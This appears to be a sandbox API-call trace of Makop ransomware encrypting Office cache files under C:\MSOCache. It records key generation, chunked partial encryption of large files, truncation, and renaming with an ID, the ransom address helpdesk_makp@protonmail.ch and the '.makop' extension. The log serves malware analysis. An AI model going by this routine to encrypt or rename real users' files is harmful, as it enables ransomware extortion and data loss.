lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0065.202] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0065.202] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0065.203] GetProcessHeap () returned 0x48a0000 [0065.203] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0065.203] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0065.203] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0065.203] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0x2, lpOverlapped=0x0) returned 1 [0065.209] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0065.209] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0065.210] GetProcessHeap () returned 0x48a0000 [0065.210] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0065.210] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6579510*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6579510*=0x30) returned 1 [0065.210] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0065.210] WriteFile (in: hFile=0x124, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6579528*=0x30, lpOverlapped=0x0) returned 1 [0065.210] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0065.210] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0065.210] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0065.210] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0065.210] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0065.211] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0065.211] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0065.211] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.211] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x75e, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x75e, lpOverlapped=0x0) returned 1 [0065.211] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x760, dwBufLen=0x760 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x760) returned 1 [0065.211] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.211] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x760, lpOverlapped=0x0) returned 1 [0065.211] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0065.211] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x824, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.212] SetEndOfFile (hFile=0x124) returned 1 [0065.218] GetProcessHeap () returned 0x48a0000 [0065.218] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0065.218] GetProcessHeap () returned 0x48a0000 [0065.218] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0065.218] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 119 [0065.218] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0065.224] CloseHandle (hObject=0x124) returned 1 [0065.224] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0065.224] FindClose (in: hFindFile=0x48c70a8 | out: hFindFile=0x48c70a8) returned 1 [0065.225] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0019-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9877A~1")) returned 1 [0065.225] wsprintfW (in: param_1=0x657c270, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C") returned 62 [0065.225] wsprintfW (in: param_1=0x65797f0, param_2="%s\\*.*" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\*.*") returned 66 [0065.225] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70a8 [0065.377] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.377] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc40b730, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x265c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.msi", cAlternateFileName="PUBLIS~1.MSI")) returned 1 [0065.377] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0065.377] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0065.380] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x6579538 | out: lpFileSize=0x6579538*=2513920) returned 1 [0065.380] GetProcessHeap () returned 0x48a0000 [0065.380] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0065.380] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0065.380] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.380] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0065.381] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0065.381] GetProcessHeap () returned 0x48a0000 [0065.381] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0065.381] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40) returned 1 [0065.381] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0065.381] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579524*=0x40, lpOverlapped=0x0) returned 1 [0065.408] WriteFile (in: hFile=0x124, lpBuffer=0x657952c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x657952c*, lpNumberOfBytesWritten=0x6579524*=0x4, lpOverlapped=0x0) returned 1 [0065.408] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579524*=0x10, lpOverlapped=0x0) returned 1 [0065.408] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579524*=0x80, lpOverlapped=0x0) returned 1 [0065.408] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0065.408] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579524*=0x8, lpOverlapped=0x0) returned 1 [0065.409] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0065.409] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0065.409] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0065.409] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0065.421] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0065.424] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.425] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0065.427] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x265cd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.427] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0065.427] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xcc955, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0065.427] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0065.453] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0065.456] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xcc955, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.456] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0065.460] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x265cd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.460] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0065.460] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x225c00, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0065.461] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0065.475] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0065.478] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x225c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.478] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0065.480] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x265cd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.480] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0065.481] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0065.481] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x265cd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.481] SetEndOfFile (hFile=0x124) returned 1 [0065.507] GetProcessHeap () returned 0x48a0000 [0065.507] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0065.507] GetProcessHeap () returned 0x48a0000 [0065.507] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0065.507] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 126 [0065.507] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0065.633] CloseHandle (hObject=0x124) returned 1 [0065.634] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.xml", cAlternateFileName="PUBLIS~1.XML")) returned 1 [0065.634] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0065.634] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0065.635] GetProcessHeap () returned 0x48a0000 [0065.635] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0065.636] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0065.636] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0065.636] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0x6, lpOverlapped=0x0) returned 1 [0065.643] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0065.643] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0065.643] GetProcessHeap () returned 0x48a0000 [0065.643] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0065.643] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40) returned 1 [0065.643] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0065.643] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0065.644] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0065.644] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0065.644] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0065.644] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0065.644] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0065.645] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0065.645] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0065.645] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.645] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5aa, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x5aa, lpOverlapped=0x0) returned 1 [0065.645] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x5b0) returned 1 [0065.645] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.645] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x5b0, lpOverlapped=0x0) returned 1 [0065.645] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0065.645] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.645] SetEndOfFile (hFile=0x124) returned 1 [0065.653] GetProcessHeap () returned 0x48a0000 [0065.653] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0065.653] GetProcessHeap () returned 0x48a0000 [0065.653] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0065.653] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 126 [0065.653] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0065.657] CloseHandle (hObject=0x124) returned 1 